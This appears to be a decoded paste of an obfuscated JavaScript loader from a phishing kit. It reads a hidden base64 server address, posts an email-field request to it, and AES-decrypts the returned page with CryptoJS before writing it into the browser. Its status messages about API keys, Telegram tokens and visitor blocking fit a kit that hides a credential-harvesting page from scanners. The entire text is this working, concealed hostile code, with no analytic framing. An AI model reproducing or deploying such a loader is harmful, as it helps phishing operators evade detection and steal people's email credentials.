PHP Decode

<?  var v7069377e= document.createElement('script'); 
 
var autograb = 0; 
 
v7069377e.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw==")); 
 
document.head.append(v7069377e); 
 
 
 
var v2563563538c23f68= document.createElement('script'); 
 
v2563563538c23f68.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); 
 
document.head.append(v2563563538c23f68); 
 
 
 
v7069377e.onload=function(){ 
 
$.support.cors = true 
 
var v848e2890f0 = atob; 
 
var vb6c582dc443836168 = "".split; 
 
var vd99eedba = [].constructor.constructor(v848e2890f0("cmV0dXJuIENyeXB0b0pT")); 
 
var v32170e80 = v848e2890f0($('#b64u').val()); 
 
$.post(v32170e80,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '') + '&f=WyJlbSIsImVtYWlsIiwiYWRkIl0=') 
 
.done(function(v24cfde5f9266){ 
 
function vf6eb005797aeddd24b62e0bd7b0b79(f){ 
 
var O00O1II = vb6c582dc443836168.apply(v848e2890f0(f),[String.fromCharCode(42)]); 
 
var O000111 = { 
 
OO0O1II: O00O1II[0], 
 
OO0OII1: O00O1II[2], 
 
OOOOII1 : O00O1II[1], 
 
OO0OIII: O00O1II[3], 
 
}  
 
var OOOOIII = vd99eedba().PBKDF2(O000111.OO0OIII, vd99eedba().enc.Hex.parse(O000111.OO0OII1), { hasher: vd99eedba().algo.SHA512, keySize: 64/8, iterations: 999}); 
 
var O00O111 = vd99eedba().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: vd99eedba().enc.Hex.parse(O000111.OOOOII1)}); 
 
return O00O111.toString(vd99eedba().enc.Utf8); 
 
} 
 
     if(v24cfde5f9266=='no'){ 
 
   document.write('<h1>Please Get an api key to use this page</h1>') 
 
 } 
 
 else if(v24cfde5f9266 == "outdated"){ 
 
 document.write('<h1>Please get an updated  version of the page</h1>') 
 
 } 
 
 else if(v24cfde5f9266 == 'token'){ 
 
 document.write('Your telegram token not activated') 
 
 } 
 
 else if(/\{\"block\"\:/.test(v24cfde5f9266)){ 
 
 bad_res = JSON.parse(v24cfde5f9266); 
 
 if(bad_res.block){ 
 
 document.write('<h1>You were not allowed, because of ' + bad_res.block + '</h1>') 
 
 } 
 
 } 
 
 else{ 
 
 try{ 
 
 document.write(v848e2890f0(vf6eb005797aeddd24b62e0bd7b0b79(v24cfde5f9266))); 
 
 }catch(e){ 
 
 document.write('<h1>Cannot write to page</h1>') 
 } 
 
 } 
 
}) 
 
.fail(function(cd,pg){ 
 
document.write("<h1>Unable to connect , Server not found</h1>") 
 
}) 
 
} ?>